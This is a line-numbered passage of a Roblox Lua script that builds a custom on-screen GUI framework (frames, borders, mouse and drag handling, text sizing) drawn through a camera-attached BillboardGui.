                Camera.CoordinateFrame = new_focus * CFrame.new(0, 0, 25)
3679
                Camera.Focus = new_focus
3680
        end
3681
end
3682
3683
AdvancedGUI = {};
3684
3685
if not AdvancedGUI.GUI_BASE_COLOR then
3686
	AdvancedGUI.GUI_BASE_COLOR = Color3.new(0, 0, 0)
3687
end
3688
function AdvancedGUI.GenerateChatColor(speakerName)
3689
	local chatColor = ChatColor.Get(speakerName).Color
3690
	local brightness = chatColor.r + chatColor.g + chatColor.b
3691
	if brightness < 1.5 then
3692
		chatColor = Color3.new(math.min(1, 0.4 + chatColor.r), math.min(1, 0.4 + chatColor.g), math.min(1, 0.4 + chatColor.b))
3693
	else
3694
		chatColor = Color3.new(math.min(1, 0.05 + chatColor.r), math.min(1, 0.05 + chatColor.g), math.min(1, 0.05 + chatColor.b))
3695
	end
3696
	return chatColor
3697
end
3698
GuiBase = {}
3699
GuiBase.__index = GuiBase
3700
function GuiBase:new(data)
3701
	local instance = setmetatable({}, self)
3702
	instance:Init(data)
3703
	return instance
3704
end
3705
function GuiBase:Destroy()
3706
	if self.parent then
3707
		self.parent.children[self] = nil
3708
	end
3709
	for child in pairs(self.children) do
3710
		child:Destroy()
3711
	end
3712
	self.m_base_instance:Destroy()
3713
end
3714
function GuiBase:GetContentInstance(child)
3715
	return self.m_base_instance
3716
end
3717
function GuiBase:Init()
3718
	self.children = {}
3719
end
3720
function GuiBase:IsA(className)
3721
	return className == "GuiBase"
3722
end
3723
function GuiBase:SetParent(parent)
3724
	if parent ~= self.parent then
3725
		if self.parent then
3726
			self.parent.children[self] = nil
3727
		end
3728
		self.parent = parent
3729
		if parent then
3730
			parent.children[self] = true
3731
			self.m_base_instance.Parent = parent:GetContentInstance()
3732
		else
3733
			self.m_base_instance.Parent = nil
3734
		end
3735
	end
3736
end
3737
GuiObject = setmetatable({}, GuiBase)
3738
GuiObject.__index = GuiObject
3739
function GuiObject:Destroy()
3740
	self.DragBegin:disconnect()
3741
	self.DragMove:disconnect()
3742
	self.DragStopped:disconnect()
3743
	self.MouseButton1Click:disconnect()
3744
	self.MouseButton1Down:disconnect()
3745
	self.MouseButton1Up:disconnect()
3746
	self.MouseButton2Down:disconnect()
3747
	self.MouseButton2Up:disconnect()
3748
	self.MouseEnter:disconnect()
3749
	self.MouseLeave:disconnect()
3750
	GuiBase.Destroy(self)
3751
end
3752
function GuiObject:GetAbsolutePosition()
3753
	return self.m_base_instance.AbsolutePosition
3754
end
3755
function GuiObject:GetAbsoluteSize()
3756
	return self.m_base_instance.AbsoluteSize
3757
end
3758
function GuiObject:GetPosition()
3759
	return self.position
3760
end
3761
function GuiObject:GetSize()
3762
	return self.size
3763
end
3764
function GuiObject:Init()
3765
	GuiBase.Init(self)
3766
	self.mouseDown = false
3767
	self.mouseOver = false
3768
	self.DragBegin = RbxUtility.CreateSignal()
3769
	self.DragMove = RbxUtility.CreateSignal()
3770
	self.DragStopped = RbxUtility.CreateSignal()
3771
	self.MouseButton1Click = RbxUtility.CreateSignal()
3772
	self.MouseButton1Down = RbxUtility.CreateSignal()
3773
	self.MouseButton1Up = RbxUtility.CreateSignal()
3774
	self.MouseButton2Down = RbxUtility.CreateSignal()
3775
	self.MouseButton2Up = RbxUtility.CreateSignal()
3776
	self.MouseEnter = RbxUtility.CreateSignal()
3777
	self.MouseLeave = RbxUtility.CreateSignal()
3778
end
3779
function GuiObject:IsA(className)
3780
	return className == "GuiObject" or GuiBase.IsA(self, className)
3781
end
3782
function GuiObject:SetActive(active)
3783
	if active ~= self.active then
3784
		self.active = active
3785
	end
3786
end
3787
function GuiObject:SetBackgroundTransparency(backgroundTransparency)
3788
	if backgroundTransparency ~= self.backgroundTransparency then
3789
		self.backgroundTransparency = backgroundTransparency
3790
		self.m_base_instance.BackgroundTransparency = backgroundTransparency
3791
	end
3792
end
3793
function GuiObject:SetColor(color)
3794
	if color ~= self.color then
3795
		self.color = color
3796
		self.m_base_instance.BackgroundColor3 = color
3797
	end
3798
end
3799
function GuiObject:SetPosition(position)
3800
	if position ~= self.position then
3801
		self.position = position
3802
		self.m_base_instance.Position = position
3803
	end
3804
end
3805
function GuiObject:SetSize(size)
3806
	if size ~= self.size then
3807
		self.size = size
3808
		self.m_base_instance.Size = size
3809
	end
3810
end
3811
function GuiObject:SetVisible(visible)
3812
	if visible ~= self.visible then
3813
		self.visible = visible
3814
		self.m_base_instance.Visible = visible
3815
	end
3816
end
3817
function GuiObject:SetZIndex(zIndex)
3818
	local stack = {self.m_base_instance}
3819
	repeat
3820
		local object = stack[#stack]
3821
		stack[#stack] = nil
3822
		for _, child in ipairs(object:GetChildren()) do
3823
			stack[#stack + 1] = child
3824
		end
3825
		object.ZIndex = zIndex
3826
	until #stack == 0
3827
end
3828
GuiServiceClass = setmetatable({}, GuiBase)
3829
GuiServiceClass.__index = GuiServiceClass
3830
function GuiServiceClass:CreateTextArea(text, font, fontSize, textColor3, textXAlignment, textYAlignment, maxWidth, minWidth)
3831
	local totalHeight = 0
3832
	local frame = Instance.new("Frame")
3833
	frame.BackgroundTransparency = 1
3834
	local label = Instance.new("TextLabel")
3835
	label.BackgroundTransparency = 1
3836
	label.Font = font
3837
	label.FontSize = fontSize
3838
	label.TextColor3 = textColor3
3839
	label.TextTransparency = 1
3840
	label.TextWrapped = true
3841
	label.TextXAlignment = textXAlignment
3842
	label.TextYAlignment = textYAlignment
3843
	label.Parent = self.guiFrame
3844
	local index = 1
3845
	while true do
3846
		local length = #text - index + 1
3847
		if length > 1024 then
3848
			length = 1024
3849
			local textBlock = string.sub(text, index, index + length - 1)
3850
			label.Text = textBlock
3851
			local height = 0
3852
			local width = maxWidth
3853
			repeat
3854
				height = height + 20
3855
				label.Size = UDim2.new(0, width, 0, height)
3856
			until label.TextFits
3857
			repeat
3858
				height = height - 1
3859
				label.Size = UDim2.new(0, width, 0, height)
3860
			until not label.TextFits
3861
			repeat
3862
				length = length - 10
3863
				label.Text = string.sub(text, index, index + length - 1)
3864
			until label.TextFits
3865
			repeat
3866
				length = length + 1
3867
				label.Text = string.sub(text, index, index + length - 1)
3868
			until not label.TextFits
3869
			local overflowCharacter = string.sub(text, index + length - 1, index + length - 1)
3870
			length = length - 1
3871
			label.Text = string.sub(text, index, index + length - 1)
3872
			if overflowCharacter == "\n" then
3873
				index = index + 1
3874
			end
3875
			repeat
3876
				height = height - 1
3877
				label.Size = UDim2.new(0, width, 0, height)
3878
			until not label.TextFits
3879
			height = height + 1
3880
			local blockLabel = label:Clone()
3881
			blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
3882
			blockLabel.Size = UDim2.new(1, 0, 0, height)
3883
			blockLabel.Parent = frame
3884
			totalHeight = totalHeight + height
3885
			index = index + length
3886
		else
3887
			local textBlock = string.sub(text, index)
3888
			label.Text = textBlock
3889
			local height = 0
3890
			local width = maxWidth
3891
			repeat
3892
				height = height + 20
3893
				label.Size = UDim2.new(0, width, 0, height)
3894
			until label.TextFits
3895
			repeat
3896
				height = height - 1
3897
				label.Size = UDim2.new(0, width, 0, height)
3898
			until not label.TextFits
3899
			height = height + 1
3900
			if index == 1 then
3901
				repeat
3902
					width =  width - 10
3903
					label.Size = UDim2.new(0, width, 0, height)
3904
				until width < minWidth or not label.TextFits
3905
				width = math.max(width, minWidth - 1)
3906
				repeat
3907
					width =  width + 1
3908
					label.Size = UDim2.new(0, width, 0, height)
3909
				until label.TextFits
3910
			end
3911
			local blockLabel = label:Clone()
3912
			blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
3913
			blockLabel.Size = UDim2.new(1, 0, 0, height)
3914
			blockLabel.Parent = frame
3915
			label:Destroy()
3916
			frame.Size = UDim2.new(0, width, 0, totalHeight + height)
3917
			return frame
3918
		end
3919
	end
3920
end
3921
function GuiServiceClass:Destroy()
3922
	self.running = false
3923
	self.cameraPart:Destroy()
3924
	self.cameraConnection:disconnect()
3925
	self.keyDownConnection:disconnect()
3926
	self.mouseButton1DownConnection:disconnect()
3927
	self.mouseButton1UpConnection:disconnect()
3928
	self.mouseButton2DownConnection:disconnect()
3929
	self.mouseButton2UpConnection:disconnect()
3930
	self.mouseMoveConnection:disconnect()
3931
	self.steppedConnection:disconnect()
3932
end
3933
function GuiServiceClass:GetMousePosition()
3934
	local mouse = self.mouse
3935
	return mouse.X, mouse.Y -- mouse.X, mouse.Y + 2 -- return mouse.X - 2, mouse.Y - 3
3936
end
3937
function GuiServiceClass:GetTextBounds(text, font, fontSize, alignX, alignY, width)
3938
	local tempLabel = self.tempLabel
3939
	tempLabel.Font = font
3940
	tempLabel.FontSize = fontSize
3941
	tempLabel.Size = UDim2.new(0, width, 0, 4096)
3942
	tempLabel.Text = text
3943
	tempLabel.TextXAlignment = alignX
3944
	tempLabel.TextYAlignment = alignY
3945
	local textBounds = tempLabel.TextBounds
3946
	tempLabel.Text = ""
3947
	return textBounds
3948
end
3949
function GuiServiceClass:Init(data)
3950
	GuiBase.Init(self)
3951
	local _ = string.char
3952
	local camera = data.Camera
3953
	local mouse = data.Mouse
3954
	local cameraPart = Instance.new("Part")
3955
	local billboardGui = Instance.new("BillboardGui", cameraPart)
3956
	guiFrame = Instance.new("Frame", billboardGui)
3957
	cameraPart.Anchored = true
3958
	cameraPart.BottomSurface = "Smooth"
3959
	cameraPart.CanCollide = false
3960
--	cameraPart.CFrame = CFrame.new(16384, 16384, 16384)
3961
	cameraPart.FormFactor = "Custom"
3962
	cameraPart.Locked = true
3963
	cameraPart.Size = Vector3.new(0.2, 0.2, 0.2)
3964
	cameraPart.TopSurface = "Smooth"
3965
	cameraPart.Transparency = 1
3966
	billboardGui.Adornee = cameraPart
3967
	billboardGui.AlwaysOnTop = true
3968
--	billboardGui.ExtentsOffset = Vector3.new(-16384, -16384, -16384)
3969
	guiFrame.BackgroundTransparency = 1
3970
	cameraPart.Parent = camera
3971
	self.running = true
3972
	self.m_base_instance = guiFrame
3973
	self.billboardGui = billboardGui
3974
	self.cameraPart = cameraPart
3975
	self.tempLabel = RBXInstance.new "TextLabel" {
3976
		BackgroundTransparency = 1,
3977
		TextTransparency = 1,
3978
		TextWrapped = true,
3979
		Parent = guiFrame
3980
	}
3981
	self.mnemonics = {}
3982
	self.visible = true
3983
	self.camera = camera
3984
	self.mouse = mouse
3985
	self.cameraConnection = camera.Changed:connect(function(property)
3986
		self:UpdateView()
3987
		if property == "CameraType" then
3988
			if camera.CameraType ~= Enum.CameraType.Track and camera.CameraType ~= Enum.CameraType.Fixed then
3989
				camera.CameraType = Enum.CameraType.Track
3990
			end
3991
		elseif property == "CoordinateFrame" and camera.CameraType ~= Enum.CameraType.Fixed then
3992
			local cframe, focus = camera.CoordinateFrame, camera.Focus
3993
			local watchOffset = focus.p - cframe.p
3994
			local error = watchOffset.unit - cframe.lookVector
3995
			if error.magnitude >= 1e-3 then
3996
				local head = PlayerControl.GetHead()
3997
				local time1, velocity1
3998
				if head then
3999
					time1 = time()
4000
					velocity1 = head.Velocity
4001
				end
4002
				if camera.Changed:wait() == "CoordinateFrame" then
4003
					local position = cframe.p
4004
					if head then
4005
						local time2 = time()
4006
						local velocity2 = head.Velocity
4007
						position = position + 0.5 * (velocity1 + velocity2) * (time2 - time1)
4008
					end
4009
					camera.CoordinateFrame = CFrame.new(position, camera.Focus.p)
4010
				end
4011
			end
4012
		end
4013
	end)
4014
	self.keyDownConnection = mouse.KeyDown:connect(function(key) self:KeyDown(key) end)
4015
	self.mouseButton1DownConnection = mouse.Button1Down:connect(function() self:MouseButton1Down() end)
4016
	self.mouseButton1UpConnection = mouse.Button1Up:connect(function() self:MouseButton1Up() end)
4017
	self.mouseButton2DownConnection = mouse.Button2Down:connect(function() self:MouseButton2Down() end)
4018
	self.mouseButton2UpConnection = mouse.Button2Up:connect(function() self:MouseButton2Up() end)
4019
	self.mouseMoveConnection = mouse.Move:connect(function() self:MouseMove() end)
4020
	self.steppedConnection = RunService.RenderStepped:connect(function() self:UpdateObjects() self:UpdateView() end)
4021
	self.mousePreviousPosition = Vector2.new(self:GetMousePosition())
4022
end
4023
function GuiServiceClass:IsA(className)
4024
	return className == "GuiService" or GuiBase.IsA(self, className)
4025
end
4026
function GuiServiceClass:KeyDown(key)
4027
	local mnemonicButton = self.mnemonics[string.upper(key)]
4028
	if mnemonicButton then
4029
		mnemonicButton.Activated:fire()
4030
	end
4031
end
4032
function GuiServiceClass:MouseButton1Down()
4033
	local mouse = self.mouse
4034
	local mouseX, mouseY = self:GetMousePosition()
4035
	local stack = {self}
4036
	local dragObjects = {}
4037
	self.dragObjects = dragObjects
4038
	while #stack > 0 do
4039
		local object = stack[#stack]
4040
		stack[#stack] = nil
4041
		if object.visible then
4042
			for child in pairs(object.children) do
4043
				stack[#stack + 1] = child
4044
			end
4045
			if object.active then
4046
				local position = object:GetAbsolutePosition()
4047
				local size = object:GetAbsoluteSize()
4048
				if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4049
					object.mouseDown = true
4050
					dragObjects[object] = true
4051
					local mouseButton1Down = object.MouseButton1Down
4052
					if mouseButton1Down then
4053
						mouseButton1Down:fire()
4054
						if object.autoButtonColor then
4055
							local color = object.color
4056
							local transparency = object.backgroundTransparency
4057
							object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 
4058
4059
0.3, 1), math.min(color.b + 0.3, 1))
4060
							object.m_base_instance.BackgroundTransparency = transparency
4061
						end
4062
					end
4063
					object.DragBegin:fire()
4064
				end
4065
			end
4066
		end
4067
	end
4068
	self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
4069
end
4070
function GuiServiceClass:MouseButton1Up()
4071
	local mouse = self.mouse
4072
	local mouseX, mouseY = self:GetMousePosition()
4073
	local stack = {self}
4074
	while #stack > 0 do
4075
		local object = stack[#stack]
4076
		stack[#stack] = nil
4077
		if object.visible then
4078
			for child in pairs(object.children) do
4079
				stack[#stack + 1] = child
4080
			end
4081
			if object.active then
4082
				local position = object:GetAbsolutePosition()
4083
				local size = object:GetAbsoluteSize()
4084
				if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4085
					object.MouseButton1Up:fire()
4086
				end
4087
			end
4088
		end
4089
	end
4090
	local dragObjects = self.dragObjects
4091
	self.dragObjects = nil
4092
	if dragObjects then
4093
		for dragObject in pairs(dragObjects) do
4094
			dragObject.mouseDown = false
4095
			local position = dragObject:GetAbsolutePosition()
4096
			local size = dragObject:GetAbsoluteSize()
4097
			if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4098
				dragObject.MouseButton1Click:fire()
4099
				local activated = dragObject.Activated
4100
				if activated then
4101
					activated:fire()
4102
				end
4103
			end
4104
			dragObject.DragStopped:fire()
4105
			if dragObject.autoButtonColor then
4106
				if dragObject.mouseOver then
4107
					local color = dragObject.color
4108
					local transparency = dragObject.backgroundTransparency
4109
					dragObject.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), 
4110
4111
math.max(color.b - 0.3, 0))
4112
					dragObject.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
4113
				else
4114
					dragObject.m_base_instance.BackgroundColor3 = dragObject.color
4115
					dragObject.m_base_instance.BackgroundTransparency = dragObject.backgroundTransparency
4116
				end
4117
			end
4118
			self.dragObject = nil
4119
		end
4120
	end
4121
end
4122
function GuiServiceClass:MouseButton2Down()
4123
	local mouse = self.mouse
4124
	local mouseX, mouseY = self:GetMousePosition()
4125
	local stack = {self}
4126
	while #stack > 0 do
4127
		local object = stack[#stack]
4128
		stack[#stack] = nil
4129
		if object.visible then
4130
			for child in pairs(object.children) do
4131
				stack[#stack + 1] = child
4132
			end
4133
			if object.active then
4134
				local position = object:GetAbsolutePosition()
4135
				local size = object:GetAbsoluteSize()
4136
				if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4137
					local mouseButton2Down = object.MouseButton2Down
4138
					if mouseButton2Down then
4139
						mouseButton2Down:fire()
4140
					end
4141
				end
4142
			end
4143
		end
4144
	end
4145
	self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
4146
end
4147
function GuiServiceClass:MouseButton2Up()
4148
	local mouse = self.mouse
4149
	local mouseX, mouseY = self:GetMousePosition()
4150
	local stack = {self}
4151
	while #stack > 0 do
4152
		local object = stack[#stack]
4153
		stack[#stack] = nil
4154
		if object.visible then
4155
			for child in pairs(object.children) do
4156
				stack[#stack + 1] = child
4157
			end
4158
			if object.active then
4159
				local position = object:GetAbsolutePosition()
4160
				local size = object:GetAbsoluteSize()
4161
				if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4162
					local mouseButton2Up = object.MouseButton2Up
4163
					if mouseButton2Up then
4164
						mouseButton2Up:fire()
4165
					end
4166
				end
4167
			end
4168
		end
4169
	end
4170
end
4171
function GuiServiceClass:MouseMove()
4172
	self:UpdateObjects()
4173
	local dragObjects = self.dragObjects
4174
	if dragObjects then
4175
		for dragObject in pairs(dragObjects) do
4176
			local mouse = self.mouse
4177
			local mousePosition = Vector2.new(self:GetMousePosition())
4178
			dragObject.DragMove:fire(mousePosition - self.mousePreviousPosition)
4179
			self.mousePreviousPosition = mousePosition
4180
		end
4181
	end
4182
end
4183
function GuiServiceClass:SetMnemonic(mnemonic, button)
4184
	self.mnemonics[mnemonic] = button
4185
end
4186
function GuiServiceClass:UpdateObjects()
4187
	local mouse = self.mouse
4188
	local mouseX, mouseY = self:GetMousePosition()
4189
	local stack = {self}
4190
	while #stack > 0 do
4191
		local object = stack[#stack]
4192
		stack[#stack] = nil
4193
		if object.visible then
4194
			for child in pairs(object.children) do
4195
				stack[#stack + 1] = child
4196
			end
4197
			if object.active then
4198
				local position = object:GetAbsolutePosition()
4199
				local size = object:GetAbsoluteSize()
4200
				if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
4201
					if not object.mouseOver then
4202
						object.mouseOver = true
4203
						object.MouseEnter:fire()
4204
						if object.autoButtonColor then
4205
							local color = object.color
4206
							local transparency = object.backgroundTransparency
4207
							if object.mouseDown then
4208
								object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
4209
								object.m_base_instance.BackgroundTransparency = transparency
4210
							else
4211
								object.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
4212
								object.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
4213
							end
4214
						end
4215
					end
4216
				else
4217
					if object.mouseOver then
4218
						object.mouseOver = false
4219
						object.MouseLeave:fire()
4220
						if object.autoButtonColor then
4221
							object.m_base_instance.BackgroundColor3 = object.color
4222
							object.m_base_instance.BackgroundTransparency = object.backgroundTransparency
4223
						end
4224
					end
4225
				end
4226
			end
4227
		end
4228
	end
4229
end
4230
function GuiServiceClass:UpdateView()
4231
	local billboardGui = self.billboardGui
4232
	local guiFrame = self.m_base_instance
4233
	local camera = self.camera
4234
	local mouse = self.mouse
4235
	local cameraCFrame = CFrame.new(camera.CoordinateFrame.p, camera.Focus.p) -- camera.CoordinateFrame
4236
	local viewSizeX, viewSizeY = mouse.ViewSizeX, mouse.ViewSizeY
4237
	local previousViewSize = self.viewSize
4238
	if not previousViewSize or ((viewSizeX ~= 0 or viewSizeY ~= 0) and (viewSizeX ~= previousViewSize.X or viewSizeY ~= previousViewSize.Y)) then
4239
		self.viewSize = {X = viewSizeX, Y = viewSizeY}
4240
		local viewSizeUDim2 = UDim2.new(0, viewSizeX, 0, viewSizeY)
4241
		billboardGui.Size = viewSizeUDim2
4242
		guiFrame.Size = viewSizeUDim2
4243
		-- FIXME:
4244
		-- After the 15th of July 2014, there came an offset at the Y thingy out of nowhere so I accomodated for that.
4245
		billboardGui.SizeOffset = Vector2.new(0.5 / viewSizeX, (0.5 + 10) / viewSizeY)
4246
	end
4247
	--billboardGui.SizeOffset = Vector2.new()
4248
	billboardGui.StudsOffset = (cameraCFrame - cameraCFrame.p):inverse() * cameraCFrame.p - Vector3.new(0, 0, 1)
4249
end
4250
GuiService = GuiServiceClass:new {
4251
	Camera = Camera,
4252
	Mouse = Mouse
4253
}
4254
GuiFrame = setmetatable({}, GuiObject)
4255
GuiFrame.__index = GuiFrame
4256
GuiFrame.__default = {__index = {
4257
	Active = false,
4258
	BackgroundTransparency = 0.75,
4259
	BorderSize = 4,
4260
	BorderTransparency = 0.75,
4261
	Color = AdvancedGUI.GUI_BASE_COLOR,
4262
	Position = UDim2.new(0, 0, 0, 0),
4263
	Size = UDim2.new(0, 52, 0, 52),
4264
	Visible = true
4265
}}
4266
function GuiFrame:Destroy()
4267
	GuiObject.Destroy(self)
4268
end
4269
function GuiFrame:GetContentInstance()
4270
	return self.m_content_frame
4271
end
4272
function GuiFrame:Init(data)
4273
	GuiObject.Init(self)
4274
	setmetatable(data, GuiFrame.__default)
4275
	local leftBorderFrameLeft = RBXInstance.new "Frame" {
4276
		BackgroundColor3 = Color3.new(0, 0, 0),
4277
		BorderSizePixel = 0,
4278
		Size = UDim2.new(0, 1, 1, -1)
4279
	}
4280
	local leftBorderFrameCenter = RBXInstance.new "Frame" {
4281
		BackgroundColor3 = Color3.new(1, 1, 1),
4282
		BorderSizePixel = 0,
4283
		Position = UDim2.new(0, 1, 0, 1)
4284
	}
4285
	local leftBorderFrameRight = RBXInstance.new "Frame" {
4286
		BackgroundColor3 = Color3.new(0, 0, 0),
4287
		BorderSizePixel = 0
4288
	}
4289
	local rightBorderFrameRight = RBXInstance.new "Frame" {
4290
		BackgroundColor3 = Color3.new(0, 0, 0),
4291
		BorderSizePixel = 0,
4292
		Position = UDim2.new(1, -1, 0, 1),
4293
		Size = UDim2.new(0, 1, 1, -1)
4294
	}
4295
	local rightBorderFrameCenter = RBXInstance.new "Frame" {
4296
		BackgroundColor3 = Color3.new(1, 1, 1),
4297
		BorderSizePixel = 0
4298
	}
4299
	local rightBorderFrameLeft = RBXInstance.new "Frame" {
4300
		BackgroundColor3 = Color3.new(0, 0, 0),
4301
		BorderSizePixel = 0
4302
	}
4303
	local bottomBorderFrameBottom = RBXInstance.new "Frame" {
4304
		BackgroundColor3 = Color3.new(0, 0, 0),
4305
		BorderSizePixel = 0,
4306
		Position = UDim2.new(0, 0, 1, -1),
4307
		Size = UDim2.new(1, -1, 0, 1)
4308
	}
4309
	local bottomBorderFrameCenter = RBXInstance.new "Frame" {
4310
		BackgroundColor3 = Color3.new(1, 1, 1),
4311
		BorderSizePixel = 0
4312
	}
4313
	local bottomBorderFrameTop = RBXInstance.new "Frame" {
4314
		BackgroundColor3 = Color3.new(0, 0, 0),
4315
		BorderSizePixel = 0
4316
	}
4317
	local topBorderFrameTop = RBXInstance.new "Frame" {
4318
		BackgroundColor3 = Color3.new(0, 0, 0),
4319
		BorderSizePixel = 0,
4320
		Position = UDim2.new(0, 1, 0, 0),
4321
		Size = UDim2.new(1, -1, 0, 1)
4322
	}
4323
	local topBorderFrameCenter = RBXInstance.new "Frame" {
4324
		BackgroundColor3 = Color3.new(1, 1, 1),
4325
		BorderSizePixel = 0
4326
	}
4327
	local topBorderFrameBottom = RBXInstance.new "Frame" {
4328
		BackgroundColor3 = Color3.new(0, 0, 0),
4329
		BorderSizePixel = 0
4330
	}
4331
	local border_frame = RBXInstance.new "Frame" {
4332
		BackgroundTransparency = 1,
4333
		Size = UDim2.new(1, 0, 1, 0),
4334
		leftBorderFrameLeft,
4335
		leftBorderFrameCenter,
4336
		leftBorderFrameRight,
4337
		rightBorderFrameLeft,
4338
		rightBorderFrameCenter,
4339
		rightBorderFrameRight,
4340
		bottomBorderFrameBottom,
4341
		bottomBorderFrameCenter,
4342
		bottomBorderFrameTop,
4343
		topBorderFrameBottom,
4344
		topBorderFrameCenter,
4345
		topBorderFrameTop
4346
	}
4347
	local contentFrame = RBXInstance.new "Frame" {
4348
		BackgroundTransparency = 1,
4349
		BorderSizePixel = 0,
4350
		ClipsDescendants = true,
4351
		Size = UDim2.new(1, 0, 1, 0)
4352
	}
4353
	local base_frame = RBXInstance.new "Frame" {
4354
		BorderSizePixel = 0,
4355
		border_frame,
4356
		contentFrame
4357
	}
4358
	self.m_base_instance = base_frame
4359
	self.m_content_frame = contentFrame
4360
	self.m_border_frame = border_frame
4361
	self.leftBorderFrameLeft = leftBorderFrameLeft
4362
	self.leftBorderFrameCenter = leftBorderFrameCenter
4363
	self.leftBorderFrameRight = leftBorderFrameRight
4364
	self.rightBorderFrameLeft = rightBorderFrameLeft
4365
	self.rightBorderFrameCenter = rightBorderFrameCenter
4366
	self.rightBorderFrameRight = rightBorderFrameRight
4367
	self.bottomBorderFrameBottom = bottomBorderFrameBottom
4368
	self.bottomBorderFrameCenter = bottomBorderFrameCenter
4369
	self.bottomBorderFrameTop = bottomBorderFrameTop
4370
	self.topBorderFrameBottom = topBorderFrameBottom
4371
	self.topBorderFrameCenter = topBorderFrameCenter
4372
	self.topBorderFrameTop = topBorderFrameTop
4373
	self:SetActive(data.Active)
4374
	self:SetBackgroundTransparency(data.BackgroundTransparency)
4375
	self:SetBorderSize(data.BorderSize)
4376
	self:SetBorderTransparency(data.BorderTransparency)
4377
	self:SetColor(data.Color)
4378
	self:SetPosition(data.Position)
4379
	self:SetSize(data.Size)
4380
	self:SetVisible(data.Visible)
4381
	self:SetParent(data.Parent)
4382
end
4383
function GuiFrame:IsA(className)
4384
	return className == "GuiFrame" or GuiObject.IsA(self, className)
4385
end
4386
function GuiFrame:SetBorderSize(border_size)
4387
	border_size = math.max(math.floor(border_size + 0.5), 0)
4388
	if border_size ~= self.m_border_size then
4389
		self.m_border_size = border_size
4390
		local border_frame = self.m_border_frame
4391
		local contentFrame = self.m_content_frame
4392
		local leftBorderFrameCenter = self.leftBorderFrameCenter
4393
		local leftBorderFrameRight = self.leftBorderFrameRight
4394
		local rightBorderFrameCenter = self.rightBorderFrameCenter
4395
		local rightBorderFrameLeft = self.rightBorderFrameLeft
4396
		local bottomBorderFrameCenter = self.bottomBorderFrameCenter
4397
		local bottomBorderFrameTop = self.bottomBorderFrameTop
4398
		local topBorderFrameCenter = self.topBorderFrameCenter
4399
		local topBorderFrameBottom = self.topBorderFrameBottom
4400
		contentFrame.Position = UDim2.new(0, border_size, 0, border_size)
4401
		contentFrame.Size = UDim2.new(1, -2 * border_size, 1, -2 * border_size)
4402
		local inner_visible = border_size > 0
4403
		if self.leftBorderFrameLeft.Visible ~= inner_visible then
4404
			self.rightBorderFrameRight.Visible = inner_visible
4405
			self.bottomBorderFrameBottom.Visible = inner_visible
4406
			self.topBorderFrameTop.Visible = inner_visible
4407
		end
4408
		local outer_visible = border_size > 1
4409
		if leftBorderFrameCenter.Visible ~= outer_visible then
4410
			leftBorderFrameCenter.Visible = outer_visible
4411
			leftBorderFrameRight.Visible = outer_visible
4412
			rightBorderFrameCenter.Visible = outer_visible
4413
			rightBorderFrameLeft.Visible = outer_visible
4414
			bottomBorderFrameCenter.Visible = outer_visible
4415
			bottomBorderFrameTop.Visible = outer_visible
4416
			topBorderFrameCenter.Visible = outer_visible
4417
			topBorderFrameBottom.Visible = outer_visible
4418
		end
4419
		if outer_visible then
4420
			leftBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
4421
			leftBorderFrameRight.Position = UDim2.new(0, border_size - 1, 0, border_size - 1)
4422
			leftBorderFrameRight.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
4423
			rightBorderFrameCenter.Position = UDim2.new(1, 1 - border_size, 0, border_size - 1)
4424
			rightBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
4425
			rightBorderFrameLeft.Position = UDim2.new(1, -border_size, 0, border_size)
4426
			rightBorderFrameLeft.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
4427
			bottomBorderFrameCenter.Position = UDim2.new(0, 1, 1, 1 - border_size)
4428
			bottomBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
4429
			bottomBorderFrameTop.Position = UDim2.new(0, border_size - 1, 1, -border_size)
4430
			bottomBorderFrameTop.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
4431
			topBorderFrameCenter.Position = UDim2.new(0, border_size - 1, 0, 1)
4432
			topBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
4433
			topBorderFrameBottom.Position = UDim2.new(0, border_size, 0, border_size - 1)
4434
			topBorderFrameBottom.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
4435
		end
4436
	end
4437
end
4438
function GuiFrame:SetBorderTransparency(borderTransparency)
4439
	self.borderTransparency = borderTransparency
4440
	self.leftBorderFrameLeft.BackgroundTransparency = borderTransparency
4441
	self.leftBorderFrameCenter.BackgroundTransparency = borderTransparency
4442
	self.leftBorderFrameRight.BackgroundTransparency = borderTransparency
4443
	self.rightBorderFrameLeft.BackgroundTransparency = borderTransparency
4444
	self.rightBorderFrameCenter.BackgroundTransparency = borderTransparency
4445
	self.rightBorderFrameRight.BackgroundTransparency = borderTransparency
4446
	self.bottomBorderFrameBottom.BackgroundTransparency = borderTransparency
4447
	self.bottomBorderFrameCenter.BackgroundTransparency = borderTransparency
4448
	self.bottomBorderFrameTop.BackgroundTransparency = borderTransparency
4449
	self.topBorderFrameBottom.BackgroundTransparency = borderTransparency
4450
	self.topBorderFrameCenter.BackgroundTransparency = borderTransparency
4451
	self.topBorderFrameTop.BackgroundTransparency = borderTransparency
4452
end
4453
